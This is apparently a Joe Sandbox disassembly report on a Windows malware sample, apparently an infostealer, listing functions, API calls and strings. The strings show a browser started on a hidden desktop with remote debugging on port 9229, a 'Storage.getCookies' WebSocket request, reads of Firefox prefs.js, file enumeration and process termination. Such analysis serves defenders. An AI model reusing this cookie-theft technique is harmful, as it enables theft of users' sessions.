Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$FileFindFirstlstrlen
String ID: prefs.js
API String ID: 2567437900-3783873740
Opcode ID: 6a7606f63f1fa471cbbb26af9dd2ed67e46ea6603b126fe774511ed804760ab7
Instruction ID: 56877ee7a68e3842a6af51389e65de296846d06bba11a5c09ba185b51334994b
Opcode Fuzzy Hash: 6a7606f63f1fa471cbbb26af9dd2ed67e46ea6603b126fe774511ed804760ab7
Instruction Fuzzy Hash: 50924F70A016028FDF25DF29D958BA9B7FABF44314F1981ADE80A9B761DB35DC42CB40

Function 006A4AC0 Relevance: 69.4, APIs: 33, Strings: 6, Instructions: 1120stringnetworkCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 006A4AEE
strlen.MSVCRT ref: 006A4B18

Part of subcall function 00688980: std::_Xinvalid_argument.LIBCPMT ref: 00688996

strlen.MSVCRT ref: 006A4B5D
memcmp.MSVCRT(?,ws://,?), ref: 006A4B93

Part of subcall function 00688980: std::_Xinvalid_argument.LIBCPMT ref: 006889CD
Part of subcall function 00688980: memcpy.MSVCRT(?,00000000,?,00000000,?,?,006887D0,?,00000000,00687897), ref: 00688A2B

Part of subcall function 006A5AA0: memmove.MSVCRT(?,?,?,00000000), ref: 006A5AE7

WSAStartup.WS2_32(00000202,?), ref: 006A4E35
strlen.MSVCRT ref: 006A4E57

Strings

{"id":1,"method":"Storage.getCookies"}, xrefs: 006A5213
Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: , xrefs: 006A5114
ws://, xrefs: 006A4B58, 006A4B8D
Sec-WebSocket-Version: 13, xrefs: 006A5138
HTTP/1.1Host: , xrefs: 006A50D2
:, xrefs: 006A4D12

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: strlen$Xinvalid_argumentstd::_$Startupmemcmpmemcpymemmove
String ID: Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: $Sec-WebSocket-Version: 13$ HTTP/1.1Host: $:$ws://${"id":1,"method":"Storage.getCookies"}
API String ID: 938782968-758292691
Opcode ID: c32ab587c719c41f058294dd1f3469ba9e3885e04a4630160775b29355b75916
Instruction ID: a476ceaf3ecfde7b81c45234d88e00e76ab74953afe1db3dfa0960793e757328
Opcode Fuzzy Hash: c32ab587c719c41f058294dd1f3469ba9e3885e04a4630160775b29355b75916
Instruction Fuzzy Hash: 63A24871D012599FDF60EFA8C8407EDBBB6BF89300F5481AAE519A7241DB705E85CFA0

Function 00684A60 Relevance: 61.4, APIs: 34, Strings: 1, Instructions: 115
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684A74
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684A7B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684A82
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684A89
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684A90
GetProcessHeap.KERNEL32(00000000,?), ref: 00684A9B
RtlAllocateHeap.NTDLL(00000000), ref: 00684AA2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AB2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AB9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AC0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AC7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684ACE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AD9
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AE0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AE7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AEE
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684AF5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B0B
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B12
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B19
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B20
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B27
strlen.MSVCRT ref: 00684B2F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B53
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B5A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B61
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B68
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B6F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B7F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B86
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B8D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B94
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00684B9B
VirtualProtect.KERNEL32(00000000,00000004,00000100,?), ref: 00684BB0

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00684A6F, 00684A76, 00684A7D, 00684A84, 00684A8B, 00684AAA, 00684AB4, 00684ABB, 00684AC2, 00684AC9, 00684AD0, 00684ADB, 00684AE2, 00684AE9, 00684AF0, 00684B06, 00684B0D, 00684B14, 00684B1B, 00684B22, 00684B43, 00684B55, 00684B5C, 00684B63, 00684B6A, 00684B7A, 00684B81, 00684B88, 00684B8F, 00684B96

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-3329630956
Opcode ID: aedadc147e14a64751d6508cd52a31de25d3b1149f8ed535fac6406f25b6881f
Instruction ID: 3277f1da31cab768b721b0a0ea022a282f0ffed238f6e041da0513cda200594b
Opcode Fuzzy Hash: aedadc147e14a64751d6508cd52a31de25d3b1149f8ed535fac6406f25b6881f
Instruction Fuzzy Hash: B231E5A0B81218768B60FBAD5C4ABDF7F56DF85750B07426275285A182CFA075C1CFB2

Function 006A65A0 Relevance: 58.0, APIs: 32, Strings: 1, Instructions: 218
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(74DD0000,01252D88), ref: 006A65F9
GetProcAddress.KERNEL32(74DD0000,01252BA8), ref: 006A6612
GetProcAddress.KERNEL32(74DD0000,01252CC8), ref: 006A662A
GetProcAddress.KERNEL32(74DD0000,01252CE0), ref: 006A6642
GetProcAddress.KERNEL32(74DD0000,01251498), ref: 006A665B
GetProcAddress.KERNEL32(74DD0000,0124AE30), ref: 006A6673
GetProcAddress.KERNEL32(74DD0000,0124AEF0), ref: 006A668B
GetProcAddress.KERNEL32(74DD0000,01252CF8), ref: 006A66A4
GetProcAddress.KERNEL32(74DD0000,01252D28), ref: 006A66BC
GetProcAddress.KERNEL32(74DD0000,01252D58), ref: 006A66D4
GetProcAddress.KERNEL32(74DD0000,01252D70), ref: 006A66ED
GetProcAddress.KERNEL32(74DD0000,0124AC10), ref: 006A6705
GetProcAddress.KERNEL32(74DD0000,01252AB8), ref: 006A671D
GetProcAddress.KERNEL32(74DD0000,01252AD0), ref: 006A6736
GetProcAddress.KERNEL32(74DD0000,0124AC50), ref: 006A674E
GetProcAddress.KERNEL32(74DD0000,01252AE8), ref: 006A6766
GetProcAddress.KERNEL32(74DD0000,01252B00), ref: 006A677F
GetProcAddress.KERNEL32(74DD0000,0124AD50), ref: 006A6797
GetProcAddress.KERNEL32(74DD0000,01252DD0), ref: 006A67AF
GetProcAddress.KERNEL32(74DD0000,0124AE50), ref: 006A67C8
LoadLibraryA.KERNEL32(01252E48,?,?,?,006A1DD3), ref: 006A67D9
LoadLibraryA.KERNEL32(01252E60,?,?,?,006A1DD3), ref: 006A67EB
LoadLibraryA.KERNEL32(01252E78,?,?,?,006A1DD3), ref: 006A67FD
LoadLibraryA.KERNEL32(01252E00,?,?,?,006A1DD3), ref: 006A680E
LoadLibraryA.KERNEL32(01252DB8,?,?,?,006A1DD3), ref: 006A6820
GetProcAddress.KERNEL32(75A70000,01252DE8), ref: 006A683D
GetProcAddress.KERNEL32(75290000,01252E18), ref: 006A6859
GetProcAddress.KERNEL32(75290000,01252E30), ref: 006A6871
GetProcAddress.KERNEL32(75BD0000,01253D50), ref: 006A688D
GetProcAddress.KERNEL32(75450000,0124AE70), ref: 006A68A9
GetProcAddress.KERNEL32(76E90000,012514A8), ref: 006A68C5
GetProcAddress.KERNEL32(76E90000,NtQueryInformationProcess), ref: 006A68DC

Strings

NtQueryInformationProcess, xrefs: 006A68D1

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 7458d5f867b51a7ea4b54d0eefaba20f9d0befd922facba0cb2dd2ebac447077
Instruction ID: 0b24b2395688b37a7bdc6b43f76ad8de28a16a1ec9fee60d3f23433e28b2856f
Opcode Fuzzy Hash: 7458d5f867b51a7ea4b54d0eefaba20f9d0befd922facba0cb2dd2ebac447077
Instruction Fuzzy Hash: 94A143B5A11A10DFD754EF68EC49A263BBDF7897413048719FA96C3364EB34A802DF60

Function 0069CDD0 Relevance: 54.6, APIs: 27, Strings: 4, Instructions: 310
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0069CDEC
FindFirstFileA.KERNEL32(?,?), ref: 0069CE03
lstrcatA.KERNEL32(?,?), ref: 0069CE4F
StrCmpCA.SHLWAPI(?,006B17A8), ref: 0069CE61
StrCmpCA.SHLWAPI(?,006B17AC), ref: 0069CE7B
wsprintfA.USER32 ref: 0069CEA0
PathMatchSpecA.SHLWAPI(?,0125D7D8), ref: 0069CED2
CoInitialize.OLE32(00000000), ref: 0069CEDE

Part of subcall function 0069CCD0: CoCreateInstance.COMBASE(006AB118,00000000,00000001,006AB108,?), ref: 0069CCF6
Part of subcall function 0069CCD0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104), ref: 0069CD36
Part of subcall function 0069CCD0: lstrcpyn.KERNEL32(?,?,00000104), ref: 0069CDB9

CoUninitialize.COMBASE ref: 0069CEF9
lstrcatA.KERNEL32(?,?), ref: 0069CF1E
lstrlenA.KERNEL32(?), ref: 0069CF2B
StrCmpCA.SHLWAPI(?,006ACFF4), ref: 0069CF45
wsprintfA.USER32 ref: 0069CF6D
wsprintfA.USER32 ref: 0069CF8C
PathMatchSpecA.SHLWAPI(?,?), ref: 0069CFA0
wsprintfA.USER32 ref: 0069CFC8
CopyFileA.KERNEL32(?,?,00000001), ref: 0069CFE1
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 0069D000
GetFileSizeEx.KERNEL32(00000000,?), ref: 0069D018
CloseHandle.KERNEL32(00000000), ref: 0069D023
CloseHandle.KERNEL32(00000000), ref: 0069D02F
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0069D044
lstrcpy.KERNEL32(00000000,?), ref: 0069D084
FindNextFileA.KERNELBASE(?,?), ref: 0069D17D
FindClose.KERNEL32(?), ref: 0069D18F

Strings

%s\%s, xrefs: 0069CE9A, 0069CF86
%s\*, xrefs: 0069CDE6
%s\%s\%s, xrefs: 0069CF67
%s%s, xrefs: 0069CFC2

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseFind$CreateHandleMatchPathSpeclstrcat$ByteCharCopyFirstInitializeInstanceMultiNextSizeUninitializeUnothrow_t@std@@@Wide__ehfuncinfo$??2@lstrcpylstrcpynlstrlen
String ID: %s%s$%s\%s$%s\%s\%s$%s\*
API String ID: 3860919712-2388001722
Opcode ID: dd580d687e35d60fe185209caf4fcf4bc4ae0f20ad25d043d79265f0f1a8a8fa
Instruction ID: 8d67a2b45601415e0ff443b2bc7160bcfa09a3cd22ae491aa168310373a928bc
Opcode Fuzzy Hash: dd580d687e35d60fe185209caf4fcf4bc4ae0f20ad25d043d79265f0f1a8a8fa
Instruction Fuzzy Hash: 72C13F71900219ABDF54EF64DC85AEE77BEFF48300F0446A9F509A7291DF34AA85CB90

Function 00689770 Relevance: 49.2, APIs: 24, Strings: 4, Instructions: 233
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00689790
lstrcatA.KERNEL32(?,?), ref: 006897A0
lstrcatA.KERNEL32(?,?), ref: 006897B1
lstrcatA.KERNEL32(?, --remote-debugging-port=9229 --profile-directory="), ref: 006897C3
memset.MSVCRT ref: 006897D7

Part of subcall function 006A4040: lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A4075
Part of subcall function 006A4040: lstrcpy.KERNEL32(00000000,01254B68), ref: 006A409F
Part of subcall function 006A4040: GetSystemTime.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,?,00684DFA,?,00000014), ref: 006A40A9

wsprintfA.USER32 ref: 00689806
OpenDesktopA.USER32(?,00000000,00000001,10000000), ref: 00689827
CreateDesktopA.USER32(?,00000000,00000000,00000000,10000000,00000000), ref: 00689844

Part of subcall function 006A48B0: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,00000000), ref: 006A48C9
Part of subcall function 006A48B0: Process32First.KERNEL32(00000000,00000128), ref: 006A48D9
Part of subcall function 006A48B0: Process32Next.KERNEL32(00000000,00000128), ref: 006A48EB
Part of subcall function 006A48B0: StrCmpCA.SHLWAPI(?,?), ref: 006A48FD
Part of subcall function 006A48B0: OpenProcess.KERNEL32(00000001,00000000,?), ref: 006A4912
Part of subcall function 006A48B0: TerminateProcess.KERNEL32(00000000,00000000), ref: 006A4921
Part of subcall function 006A48B0: CloseHandle.KERNEL32(00000000), ref: 006A4928
Part of subcall function 006A48B0: Process32Next.KERNEL32(00000000,00000128), ref: 006A4936
Part of subcall function 006A48B0: CloseHandle.KERNEL32(00000000), ref: 006A4941

memset.MSVCRT ref: 00689862
lstrcatA.KERNEL32(00000000,?), ref: 00689878
lstrcatA.KERNEL32(00000000,?), ref: 00689889
lstrcatA.KERNEL32(00000000,006B4B70), ref: 0068989B
memset.MSVCRT ref: 006898AF
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 006898D4
lstrcpy.KERNEL32(00000000,?), ref: 00689903
StrStrA.SHLWAPI(00000000,0125FE48), ref: 00689919
lstrcpyn.KERNEL32(C:\Users\user\Documents\,00000000,00000000), ref: 00689938
lstrlenA.KERNEL32(?), ref: 0068994B
wsprintfA.USER32 ref: 0068995B
lstrcpy.KERNEL32(?,00000000), ref: 00689971
memset.MSVCRT ref: 00689986
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 006899D8
Sleep.KERNEL32(00001388), ref: 006899E7

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Part of subcall function 006892B0: strlen.MSVCRT ref: 006892E1
Part of subcall function 006892B0: strlen.MSVCRT ref: 006892FA
Part of subcall function 006892B0: memset.MSVCRT ref: 00689341
Part of subcall function 006892B0: lstrcatA.KERNEL32(?,ws://localhost:9229), ref: 0068935C
Part of subcall function 006892B0: lstrcatA.KERNEL32(?,00000000), ref: 00689372
Part of subcall function 006892B0: strlen.MSVCRT ref: 00689399
Part of subcall function 006892B0: strlen.MSVCRT ref: 006893E6

Part of subcall function 006A4950: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,00000000,?), ref: 006A4969
Part of subcall function 006A4950: Process32First.KERNEL32(00000000,00000128), ref: 006A4979
Part of subcall function 006A4950: Process32Next.KERNEL32(00000000,00000128), ref: 006A498B
Part of subcall function 006A4950: OpenProcess.KERNEL32(00000001,00000000,?), ref: 006A49AC
Part of subcall function 006A4950: TerminateProcess.KERNEL32(00000000,00000000), ref: 006A49BB
Part of subcall function 006A4950: CloseHandle.KERNEL32(00000000), ref: 006A49C2
Part of subcall function 006A4950: Process32Next.KERNEL32(00000000,00000128), ref: 006A49D0
Part of subcall function 006A4950: CloseHandle.KERNEL32(00000000), ref: 006A49DB

CloseDesktop.USER32(?), ref: 00689A1C

Strings

D, xrefs: 00689999
--remote-debugging-port=9229 --profile-directory=", xrefs: 006897B7
%s%s, xrefs: 00689955
C:\Users\user\Documents\, xrefs: 00689933, 00689964, 00689969

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcatlstrcpy$Process32memset$CloseProcess$CreateHandleNextstrlen$DesktopOpen$FirstSnapshotTerminateToolhelp32wsprintf$FolderPathSleepSystemTimelstrcpynlstrlen
String ID: --remote-debugging-port=9229 --profile-directory="$%s%s$C:\Users\user\Documents\$D
API String ID: 67568813-1880427397
Opcode ID: 98c469846ff79e21888888a1f9b020e313f3cdde703962170247e53258e93bb8
Instruction ID: bd1062027d7b943fec400a19a01c2a3301b1e0cda0eaf161050c799c432593cb
Opcode Fuzzy Hash: 98c469846ff79e21888888a1f9b020e313f3cdde703962170247e53258e93bb8
Instruction Fuzzy Hash: C69164B1910208ABDB54EFA4DC85FEE77B9FF48700F144199F609A7291DF70AA44CBA4

Function 006913B9 Relevance: 43.8, APIs: 29, Instructions: 336stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006913E1
lstrcpy.KERNEL32(00000000,00000000), ref: 00691404
lstrcatA.KERNEL32(00000000,00000000), ref: 0069140F
lstrlenA.KERNEL32(006B4CB4), ref: 0069141A
lstrcpy.KERNEL32(00000000,00000000), ref: 00691437
lstrcatA.KERNEL32(00000000,006B4CB4), ref: 00691443
lstrcpy.KERNEL32(00000000,00000000), ref: 0069146E
FindFirstFileA.KERNEL32(00000000,?), ref: 0069148A
StrCmpCA.SHLWAPI(?,006B17A8), ref: 006914AC
StrCmpCA.SHLWAPI(?,006B17AC), ref: 006914C6
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006914FF
lstrcpy.KERNEL32(00000000,?), ref: 00691527
lstrcatA.KERNEL32(00000000,00000000), ref: 00691532
lstrlenA.KERNEL32(006B179C), ref: 0069153D
lstrcpy.KERNEL32(00000000,00000000), ref: 0069155A
lstrcatA.KERNEL32(00000000,006B179C), ref: 00691566
lstrlenA.KERNEL32(?), ref: 00691573
lstrcpy.KERNEL32(00000000,00000000), ref: 00691593
lstrcatA.KERNEL32(00000000,?), ref: 006915A1
lstrcpy.KERNEL32(00000000,00000000), ref: 006915CA
StrCmpCA.SHLWAPI(?,01260358), ref: 006915F3
lstrcpy.KERNEL32(00000000,?), ref: 00691634
lstrcpy.KERNEL32(00000000,?), ref: 0069165D
lstrcpy.KERNEL32(00000000,?), ref: 00691685
lstrcpy.KERNEL32(00000000,?), ref: 006918E6
lstrcpy.KERNEL32(00000000,00000000), ref: 0069190E
lstrcpy.KERNEL32(00000000,?), ref: 00691945
FindNextFileA.KERNELBASE(00000000,?), ref: 0069196C
FindClose.KERNEL32(00000000), ref: 0069197B

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

